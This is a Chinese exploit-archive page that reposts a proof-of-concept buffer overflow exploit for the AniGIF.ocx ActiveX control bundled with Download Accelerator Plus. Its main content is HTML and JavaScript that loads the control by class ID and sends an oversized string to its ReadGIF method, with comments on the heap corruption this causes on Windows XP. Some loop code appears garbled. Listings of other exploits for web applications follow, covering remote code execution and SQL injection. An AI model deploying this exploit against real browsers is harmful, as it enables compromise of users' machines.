Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

所属分类: 网络安全 / Exploit 阅读数: 168
收藏 0 赞 0 分享
<html>
<body>
<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>

// anigif.ocx by www.jcomsoft.com can be found distribuited with some applications,
// I found it in Download Accelerator Plus 6.8.
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods,
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap
// overflow scenario.

var buf;
for (var i=0; i<259; i ) buf = "X";

buf ="BBBB";
buf = "CCCC";

for (var i=0; i<5728; i ) buf = "H";

target.ReadGIF(buf);

window.location = "http://www.google.com";

</script>
</body>
</html>

更多精彩内容其他人还在看

Maian Search

-[*] ================================================================================ [*]- -[*] Maian Search <= v1.1 Insecur
收藏 0 赞 0 分享

Maian Weblog

-[*] ================================================================================ [*]- -[*] Maian Weblog <= v4.0 Insecu
收藏 0 赞 0 分享

Maian Guestbook

-[*] ================================================================================ [*]- -[*] Maian Guestbook <= 3.2 Insec
收藏 0 赞 0 分享

Maian Recipe

-[*] ================================================================================ [*]- -[*] Maian Recipe <= v1.2 Insecu
收藏 0 赞 0 分享

fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit

<?php ## ## Name: Fuzzylime 3.01 Remote Code Execution Exploit ## Credits: Charles "real" F. <charlesfol[a
收藏 0 赞 0 分享

jSite 1.0 OE (SQL/LFI) Multiple Remote Vulnerabilities

--== ================================================================================ ==-- --== jSite 1.0 OE Multiple Remot
收藏 0 赞 0 分享

Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability

==================================================================== Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
收藏 0 赞 0 分享

WebCMS Portal Edition (id) Remote SQL Injection Vulnerability

############################################################### #################### Viva IslaM Viva IslaM #################### ##
收藏 0 赞 0 分享

fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)

#!/usr/bin/perl #!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!! #after i noticed that there was a prob
收藏 0 赞 0 分享

fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)

#!/usr/bin/php <?php ## ## Fuzzylime 3.01 Remote Code Execution ## Credits: Inphex and real ## ## [C:]# php fuzzylime.p
收藏 0 赞 0 分享
查看更多